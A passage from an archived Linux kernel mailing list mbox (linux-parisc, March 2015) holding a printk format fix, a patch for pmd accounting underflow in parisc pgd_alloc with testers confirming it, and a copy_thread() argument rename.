	"EHLO na01-by2-obe.outbound.protection.outlook.com"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1755875AbbCLVqN (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Thu, 12 Mar 2015 17:46:13 -0400
Original-Received: from snotra.am.freescale.net (192.88.168.49) by
 DM2PR0301MB0733.namprd03.prod.outlook.com (25.160.97.141) with Microsoft SMTP
 Server (TLS) id 15.1.112.19; Thu, 12 Mar 2015 21:46:11 +0000
X-Mailer: git-send-email 2.1.0
In-Reply-To: <1426196761-4891-1-git-send-email-scottwood@freescale.com>
X-Originating-IP: [192.88.168.49]
X-ClientProxiedBy: BN1PR02CA0020.namprd02.prod.outlook.com (10.141.56.20) To
 DM2PR0301MB0733.namprd03.prod.outlook.com (25.160.97.141)
Authentication-Results: kernel.org; dkim=none (message not signed)
 header.d=none;
X-Microsoft-Antispam: UriScan:;BCL:0;PCL:0;RULEID:;SRVR:DM2PR0301MB0733;
X-Forefront-Antispam-Report: BMV:1;SFV:NSPM;SFS:(10019020)(6009001)(2950100001)(92566002)(76176999)(50986999)(47776003)(66066001)(50226001)(77156002)(62966003)(33646002)(36756003)(229853001)(122386002)(46102003)(86362001)(87976001)(40100003)(42186005)(19580405001)(19580395003)(48376002)(50466002);DIR:OUT;SFP:1102;SCL:1;SRVR:DM2PR0301MB0733;H:snotra.am.freescale.net;FPR:;SPF:None;MLV:sfv;LANG:en;
X-Microsoft-Antispam-PRVS: <DM2PR0301MB07330BF6AAD6F17854BBF85AB5060@DM2PR0301MB0733.namprd03.prod.outlook.com>
X-Exchange-Antispam-Report-Test: UriScan:;
X-Exchange-Antispam-Report-CFA-Test: BCL:0;PCL:0;RULEID:(601004)(5002009)(5005006);SRVR:DM2PR0301MB0733;BCL:0;PCL:0;RULEID:;SRVR:DM2PR0301MB0733;
X-Forefront-PRVS: 05134F8B4F
X-OriginatorOrg: freescale.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 12 Mar 2015 21:46:11.2274
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DM2PR0301MB0733
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1907514 gmane.linux.ports.parisc:25653
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1907514>

Use %ps for actual addresses, otherwise you'll get bad output
on arches like parisc64 where %pf expects a function descriptor.

This wasn't normally seen on parisc64 because the code is not built
unless DEBUG_SUPERIO_INIT is manually defined.

Signed-off-by: Scott Wood <scottwood@freescale.com>
Cc: linux-parisc@vger.kernel.org
cc: James Bottomley <James.Bottomley@HansenPartnership.com>
---
v2: Commit message updates

 drivers/parisc/superio.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/parisc/superio.c b/drivers/parisc/superio.c
index 8be2096..38c5440 100644
--- a/drivers/parisc/superio.c
+++ b/drivers/parisc/superio.c
@@ -348,7 +348,7 @@ int superio_fixup_irq(struct pci_dev *pcidev)
 		BUG();
 		return -1;
 	}
-	printk("superio_fixup_irq(%s) ven 0x%x dev 0x%x from %pf\n",
+	printk("superio_fixup_irq(%s) ven 0x%x dev 0x%x from %ps\n",
 		pci_name(pcidev),
 		pcidev->vendor, pcidev->device,
 		__builtin_return_address(0));
-- 
2.1.0


From - Thu Nov 08 21:37:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kirill A. Shutemov" <kirill@shutemov.name>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: BUG: non-zero nr_pmds on freeing mm: -1
Date: Fri, 13 Mar 2015 00:07:56 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <20150312220756.GA4792@node.dhcp.inet.fi>
References: <BLU436-SMTP11459F3D9DC424BE50626A797190@phx.gbl>
 <CADjby3WS3cJs2BOmYT4Cdr4i9FncD=BYjrkuQiBH3=VmOndRPw@mail.gmail.com>
 <BLU436-SMTP234E13E9344CBB4D18CEB0D97190@phx.gbl>
 <CAFk90B8ZRnte0K-r8EBacx_WEEEL4fpTLkkVVgj42s1HO6QhFA@mail.gmail.com>
 <BLU436-SMTP233C66DF7A4433DBEA2897997060@phx.gbl>
 <20150312193556.GE587@fuloong-minipc.musicnaut.iki.fi>
 <BLU436-SMTP114E0E2B73148E5EE40047897060@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1426198107 11591 80.91.229.3 (12 Mar 2015 22:08:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 12 Mar 2015 22:08:27 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>,
	Graham Gower <graham.gower@gmail.com>,
	Domenico Andreoli <cavokz@gmail.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 12 23:08:10 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YWBGz-0005wp-1k
	for glpp-linux-parisc@plane.gmane.org; Thu, 12 Mar 2015 23:08:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753493AbbCLWIH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 12 Mar 2015 18:08:07 -0400
Original-Received: from mta-out1.inet.fi ([62.71.2.195]:51536 "EHLO jenni2.inet.fi"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752179AbbCLWIH (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 12 Mar 2015 18:08:07 -0400
Original-Received: from node.shutemov.name (80.220.224.16) by jenni2.inet.fi (8.5.142.08)
        id 54E3C70702E190D6; Fri, 13 Mar 2015 00:07:57 +0200
Original-Received: by node.shutemov.name (Postfix, from userid 1000)
	id 53CC241372; Fri, 13 Mar 2015 00:07:56 +0200 (EET)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=shutemov.name;
	s=default; t=1426198076;
	bh=durXnk51NqSbe8s9wK8Pup0biz4oA0dUJ071vVL1tUg=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To;
	b=MtJC7jRLBiAwp2dhTbOJbBRrnkK9Je70Q3t2234NHAmYo29VOeqZCe4EQlM7TEOaM
	 sViJoi3vEw55dXtaxAGKoA1Kl3zuCr0w9UPzeBwgPkg3Fw9HnE3gl+tVnHi9jLwWak
	 VGB6LwIc/sxOgsQXLJ2SoomAB1IBb7p5RCSHTVis=
Content-Disposition: inline
In-Reply-To: <BLU436-SMTP114E0E2B73148E5EE40047897060@phx.gbl>
User-Agent: Mutt/1.5.23.1 (2014-03-12)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25654
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25654>

On Thu, Mar 12, 2015 at 03:51:11PM -0400, John David Anglin wrote:
> On 2015-03-12 3:35 PM, Aaro Koskinen wrote:
> >Hi,
> >
> >On Wed, Mar 11, 2015 at 08:21:35PM -0400, John David Anglin wrote:
> >>On 2015-03-11, at 7:31 PM, Graham Gower wrote:
> >>>I thought this patch was supposed to address the problem?
> >>>https://lkml.org/lkml/2015/2/26/230
> >>>
> >>>However, its not fixed it for me either in 4.0.0-rc3.
> >>I doubt the patch is correct for parisc. I believe the system where
> >>I saw the BUG messages has PT_NLEVELS == 3.
> >For 32-bit kernels, the fix helped.
> 32-bit kernels have PT_NLEVELS == 2.  I think the define needs to be moved
> outside #if/#endif
> but didn't get a chance to test last night.

There's hack in pgd_alloc() on parisc to initialize one pmd, which is not
accounted and we get underflow on exit. We need to adjust accounting for
that pmd.

Could you try the patch below?

diff --git a/arch/parisc/include/asm/pgalloc.h b/arch/parisc/include/asm/pgalloc.h
index f213f5b4c423..8ee9a0bdc468 100644
--- a/arch/parisc/include/asm/pgalloc.h
+++ b/arch/parisc/include/asm/pgalloc.h
@@ -38,6 +38,7 @@ static inline pgd_t *pgd_alloc(struct mm_struct *mm)
 		/* The first pmd entry also is marked with _PAGE_GATEWAY as
 		 * a signal that this pmd may not be freed */
 		__pgd_val_set(*pgd, PxD_FLAG_ATTACHED);
+		mm_inc_nr_pmds(mm);
 #endif
 	}
 	return actual_pgd;
-- 
 Kirill A. Shutemov
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kirill A. Shutemov" <kirill@shutemov.name>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: BUG: non-zero nr_pmds on freeing mm: -1
Date: Fri, 13 Mar 2015 12:29:32 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <20150313102932.GA7251@node.dhcp.inet.fi>
References: <BLU436-SMTP11459F3D9DC424BE50626A797190@phx.gbl>
 <CADjby3WS3cJs2BOmYT4Cdr4i9FncD=BYjrkuQiBH3=VmOndRPw@mail.gmail.com>
 <BLU436-SMTP234E13E9344CBB4D18CEB0D97190@phx.gbl>
 <CAFk90B8ZRnte0K-r8EBacx_WEEEL4fpTLkkVVgj42s1HO6QhFA@mail.gmail.com>
 <BLU436-SMTP233C66DF7A4433DBEA2897997060@phx.gbl>
 <20150312193556.GE587@fuloong-minipc.musicnaut.iki.fi>
 <BLU436-SMTP114E0E2B73148E5EE40047897060@phx.gbl>
 <20150312220756.GA4792@node.dhcp.inet.fi>
 <BLU437-SMTP12BED7F073649D0DDB5D0A97070@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1426242612 28106 80.91.229.3 (13 Mar 2015 10:30:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 13 Mar 2015 10:30:12 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>,
	Graham Gower <graham.gower@gmail.com>,
	Domenico Andreoli <cavokz@gmail.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Mar 13 11:30:04 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YWMqs-00036z-Tj
	for glpp-linux-parisc@plane.gmane.org; Fri, 13 Mar 2015 11:29:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754652AbbCMK3o (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 13 Mar 2015 06:29:44 -0400
Original-Received: from mta-out1.inet.fi ([62.71.2.195]:60040 "EHLO jenni2.inet.fi"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752238AbbCMK3k (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 13 Mar 2015 06:29:40 -0400
Original-Received: from node.shutemov.name (80.220.224.16) by jenni2.inet.fi (8.5.142.08)
        id 54E3C70702F0C258; Fri, 13 Mar 2015 12:29:34 +0200
Original-Received: by node.shutemov.name (Postfix, from userid 1000)
	id BD9DA41372; Fri, 13 Mar 2015 12:29:32 +0200 (EET)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=shutemov.name;
	s=default; t=1426242572;
	bh=mcnWnkMK9WxpbPm06yvvgzGaNJr+sMcrkFDqmnv0hdU=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To;
	b=IqcukEI14Xz3YcrE/dGEtOToeLiH4q3qQ8QFx3DcDH1L61YRA4okygIZ8fQSW3MTT
	 Y6XBdjlbealLnGSDNjl5mxyJQ2lTHf7Y9i7NwmhgBLLb9lOxnPSQ01UHxtvYgZGTBP
	 E/+NI9HyyQ7DGkiKY89lKwbt7i5DJ+NyTeTxRO7M=
Content-Disposition: inline
In-Reply-To: <BLU437-SMTP12BED7F073649D0DDB5D0A97070@phx.gbl>
User-Agent: Mutt/1.5.23.1 (2014-03-12)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25655
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25655>

On Thu, Mar 12, 2015 at 08:41:37PM -0400, John David Anglin wrote:
> On 2015-03-12, at 6:07 PM, Kirill A. Shutemov wrote:
> 
> > There's hack in pgd_alloc() on parisc to initialize one pmd, which is not
> > accounted and we get underflow on exit. We need to adjust accounting for
> > that pmd.
> > 
> > Could you try the patch below?
> > 
> > diff --git a/arch/parisc/include/asm/pgalloc.h b/arch/parisc/include/asm/pgalloc.h
> > index f213f5b4c423..8ee9a0bdc468 100644
> > --- a/arch/parisc/include/asm/pgalloc.h
> > +++ b/arch/parisc/include/asm/pgalloc.h
> > @@ -38,6 +38,7 @@ static inline pgd_t *pgd_alloc(struct mm_struct *mm)
> > 		/* The first pmd entry also is marked with _PAGE_GATEWAY as
> > 		 * a signal that this pmd may not be freed */
> > 		__pgd_val_set(*pgd, PxD_FLAG_ATTACHED);
> > +		mm_inc_nr_pmds(mm);
> > #endif
> > 	}
> > 	return actual_pgd;
> 
> The patch fixes the BUG messages.
> 
> Helge, the #ifdef in pgd_alloc doesn't seem correct.  We only have a L2/L3 scheme when
> "defined(CONFIG_64BIT) && defined(CONFIG_PARISC_PAGE_SIZE_4KB)".

Looks like you're correct. But that's separate issue. Please, post a
patch.

-- 
 Kirill A. Shutemov
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: [PATCH] parisc: fix pmd accounting with 3-level page tables
Date: Fri, 13 Mar 2015 12:30:02 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <1426242602-52804-1-git-send-email-kirill.shutemov@linux.intel.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1426242620 28202 80.91.229.3 (13 Mar 2015 10:30:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 13 Mar 2015 10:30:20 +0000 (UTC)
Cc: linux-mm@kvack.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	"Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>,
	John David Anglin <dave.anglin@bell.net>,
	Aaro Koskinen <aaro.koskinen@iki.fi>,
	Graham Gower <graham.gower@gmail.com>,
	Domenico Andreoli <cavokz@gmail.com>
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Mar 13 11:30:15 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YWMr9-0003Lf-1j
	for glpp-linux-parisc@plane.gmane.org; Fri, 13 Mar 2015 11:30:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754696AbbCMKaN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 13 Mar 2015 06:30:13 -0400
Original-Received: from mga11.intel.com ([192.55.52.93]:46207 "EHLO mga11.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754692AbbCMKaK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 13 Mar 2015 06:30:10 -0400
Original-Received: from fmsmga003.fm.intel.com ([10.253.24.29])
  by fmsmga102.fm.intel.com with ESMTP; 13 Mar 2015 03:30:09 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.11,394,1422950400"; 
   d="scan'208";a="466763823"
Original-Received: from black.fi.intel.com ([10.237.72.86])
  by FMSMGA003.fm.intel.com with ESMTP; 13 Mar 2015 03:23:12 -0700
Original-Received: by black.fi.intel.com (Postfix, from userid 1000)
	id 90F3D4A8; Fri, 13 Mar 2015 12:30:06 +0200 (EET)
X-Mailer: git-send-email 2.1.4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25656 gmane.linux.kernel.mm:129821 gmane.linux.kernel:1907914
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25656>

There's hack in pgd_alloc() on parisc to initialize one pmd, which is
not accounted. It leads to underflow on exit.

Let's adjust nr_pmds on pgd_alloc() to get accounting correct.

Signed-off-by: Kirill A. Shutemov <kirill.shutemov@linux.intel.com>
Cc: John David Anglin <dave.anglin@bell.net>
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>
Cc: Graham Gower <graham.gower@gmail.com>
Cc: Domenico Andreoli <cavokz@gmail.com>
---
 arch/parisc/include/asm/pgalloc.h | 1 +
 1 file changed, 1 insertion(+)

diff --git a/arch/parisc/include/asm/pgalloc.h b/arch/parisc/include/asm/pgalloc.h
index 55ad8be9b7f3..068b2fb9a47c 100644
--- a/arch/parisc/include/asm/pgalloc.h
+++ b/arch/parisc/include/asm/pgalloc.h
@@ -38,6 +38,7 @@ static inline pgd_t *pgd_alloc(struct mm_struct *mm)
 		/* The first pmd entry also is marked with _PAGE_GATEWAY as
 		 * a signal that this pmd may not be freed */
 		__pgd_val_set(*pgd, PxD_FLAG_ATTACHED);
+		mm_inc_nr_pmds(mm);
 #endif
 	}
 	return actual_pgd;
-- 
2.1.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex Dowad <alexinbeijing@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 22/32] parisc: copy_thread(): rename 'arg' argument to 'kthread_arg'
Date: Fri, 13 Mar 2015 20:14:45 +0200
Lines: 52
Approved: news@gmane.org
Message-ID: <1426270496-26362-12-git-send-email-alexinbeijing@gmail.com>
References: <1426270496-26362-1-git-send-email-alexinbeijing@gmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1426270584 13114 80.91.229.3 (13 Mar 2015 18:16:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 13 Mar 2015 18:16:24 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org (open list:PARISC ARCHITECTURE)
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Mar 13 19:16:17 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1YWU88-0008D0-RC
	for glk-linux-kernel-3@plane.gmane.org; Fri, 13 Mar 2015 19:16:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1946118AbbCMSQC (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 13 Mar 2015 14:16:02 -0400
Original-Received: from mail-we0-f179.google.com ([74.125.82.179]:41438 "EHLO
	mail-we0-f179.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1946100AbbCMSP5 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 13 Mar 2015 14:15:57 -0400
Original-Received: by wesw62 with SMTP id w62so25048980wes.8;
        Fri, 13 Mar 2015 11:15:56 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=uFPK+38DxfeiTAD+ICdFC2bUM05MD38/8AMB6RMF7p0=;
        b=Y4X28lGe3x5WzshWdOlnVpfkaqUPzcBPD+tR4FJ9F08HTU6kVnchHWmDR9iP0xpIEr
         9yg2r40ZxEAFhv8xJ1HNiUce4wKy37x/ctAxlA317AhJAtIKUacA1ZZgwYoiQf7t80u2
         0cYuC/9ZshtTFEQS6yjw3HNoqe//Wv8LlZdLQcLLeWZwEzB46kBiYsnZYJstaIDdon6b
         X15tDjR5jQlfFnNfW6sNP7piXivbnONK4HfRH783ZSJj3F04pktetxDGA098YjyzccHR
         gd7VYztbYBxfh6hJxhRzEnN2UqNX/iZgN10Fz1nMlewPK16tMX15jCNCSkFV+2TgzidC
         ymow==
X-Received: by 10.194.120.230 with SMTP id lf6mr98244817wjb.78.1426270556168;
        Fri, 13 Mar 2015 11:15:56 -0700 (PDT)
Original-Received: from alex-ThinkPad-L530.resnet.local ([41.215.180.30])
        by mx.google.com with ESMTPSA id gj16sm3789705wic.24.2015.03.13.11.15.53
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Fri, 13 Mar 2015 11:15:55 -0700 (PDT)
X-Mailer: git-send-email 2.0.0.GIT
In-Reply-To: <1426270496-26362-1-git-send-email-alexinbeijing@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1908361 gmane.linux.ports.parisc:25657
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1908361>

The 'arg' argument to copy_thread() is only ever used when forking a new
kernel thread. Hence, rename it to 'kthread_arg' for clarity (and consistency
with do_fork() and other arch-specific implementations of copy_thread()).

Signed-off-by: Alex Dowad <alexinbeijing@gmail.com>
---
 arch/parisc/kernel/process.c | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index 8a488c2..809905a 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -181,9 +181,12 @@ int dump_task_fpu (struct task_struct *tsk, elf_fpregset_t *r)
 	return 1;
 }
 
+/*
+ * Copy architecture-specific thread state
+ */
 int
 copy_thread(unsigned long clone_flags, unsigned long usp,
-	    unsigned long arg, struct task_struct *p)
+	    unsigned long kthread_arg, struct task_struct *p)
 {
 	struct pt_regs *cregs = &(p->thread.regs);
 	void *stack = task_stack_page(p);
@@ -195,11 +198,10 @@ copy_thread(unsigned long clone_flags, unsigned long usp,
 	extern void * const child_return;
 
 	if (unlikely(p->flags & PF_KTHREAD)) {
+		/* kernel thread */
 		memset(cregs, 0, sizeof(struct pt_regs));
 		if (!usp) /* idle thread */
 			return 0;
-
-		/* kernel thread */
 		/* Must exit via ret_from_kernel_thread in order
 		 * to call schedule_tail()
 		 */
@@ -215,7 +217,7 @@ copy_thread(unsigned long clone_flags, unsigned long usp,
 #else
 		cregs->gr[26] = usp;
 #endif
-		cregs->gr[25] = arg;
+		cregs->gr[25] = kthread_arg;
 	} else {
 		/* user thread */
 		/* usp must be word aligned.  This also prevents users from
-- 
2.0.0.GIT


From - Thu Nov 08 21:37:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Graham Gower <graham.gower@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH] parisc: fix pmd accounting with 3-level page tables
Date: Sat, 14 Mar 2015 08:20:08 +1030
Lines: 40
Approved: news@gmane.org
Message-ID: <CAFk90B_Y_yRebJ5W+ACXmrM9U=QKTr14yGidvi71ucN3NC6H8w@mail.gmail.com>
References: <1426242602-52804-1-git-send-email-kirill.shutemov@linux.intel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1426283417 13524 80.91.229.3 (13 Mar 2015 21:50:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 13 Mar 2015 21:50:17 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>, linux-mm@kvack.org,
	linux-kernel@vger.kernel.org,
	linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@bell.net>,
	Aaro Koskinen <aaro.koskinen@iki.fi>,
	Domenico Andreoli <cavokz@gmail.com>
To: "Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Mar 13 22:50:12 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YWXT9-0007eT-9m
	for glpp-linux-parisc@plane.gmane.org; Fri, 13 Mar 2015 22:50:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751661AbbCMVuK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 13 Mar 2015 17:50:10 -0400
Original-Received: from mail-oi0-f50.google.com ([209.85.218.50]:44615 "EHLO
	mail-oi0-f50.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751100AbbCMVuJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 13 Mar 2015 17:50:09 -0400
Original-Received: by oiga141 with SMTP id a141so1195045oig.11;
        Fri, 13 Mar 2015 14:50:08 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=yC+joHvyb260lH9fWXzvuu9FeOaMP0JcSoKIQmZsvt4=;
        b=XAwTny+tM77vfv2GolU4cGoJv/1WISwfdiOubWxgWY1AzOmkMIjyfOX0NtZZAVBm75
         BnfE/sd5b1pBqvj5/a3kU3t9H2jTRpEg3pXhvQmjIkkPqcAt5On9wvgHSCTxn0l2ckiC
         4bhugBQTGWo9QG9q83GHG1IPwRTMwjthHedBt86SdiavkJeiclEPr2c+xUxV6znges5Q
         8AZk3OrPAqcbvISg93P/pAV1jqL9d3RmXM9GtQ2tQdii855Jyu4bz/2xQJfhW/Ebsm2O
         iYFn8Yi64rqibF+6YNYs9TEaYSCiylf1Q3i//Ea2q+MffEMzwdWcjZE6Riu4sIBmHDNA
         uKdw==
X-Received: by 10.182.20.237 with SMTP id q13mr19935188obe.82.1426283408681;
 Fri, 13 Mar 2015 14:50:08 -0700 (PDT)
Original-Received: by 10.76.123.68 with HTTP; Fri, 13 Mar 2015 14:50:08 -0700 (PDT)
In-Reply-To: <1426242602-52804-1-git-send-email-kirill.shutemov@linux.intel.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25658 gmane.linux.kernel.mm:129851 gmane.linux.kernel:1908494
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25658>

This fixes the problem on my C8000.

Tested-by: graham.gower@gmail.com

On 13 March 2015 at 21:00, Kirill A. Shutemov
<kirill.shutemov@linux.intel.com> wrote:
> There's hack in pgd_alloc() on parisc to initialize one pmd, which is
> not accounted. It leads to underflow on exit.
>
> Let's adjust nr_pmds on pgd_alloc() to get accounting correct.
>
> Signed-off-by: Kirill A. Shutemov <kirill.shutemov@linux.intel.com>
> Cc: John David Anglin <dave.anglin@bell.net>
> Cc: Aaro Koskinen <aaro.koskinen@iki.fi>
> Cc: Graham Gower <graham.gower@gmail.com>
> Cc: Domenico Andreoli <cavokz@gmail.com>
> ---
>  arch/parisc/include/asm/pgalloc.h | 1 +
>  1 file changed, 1 insertion(+)
>
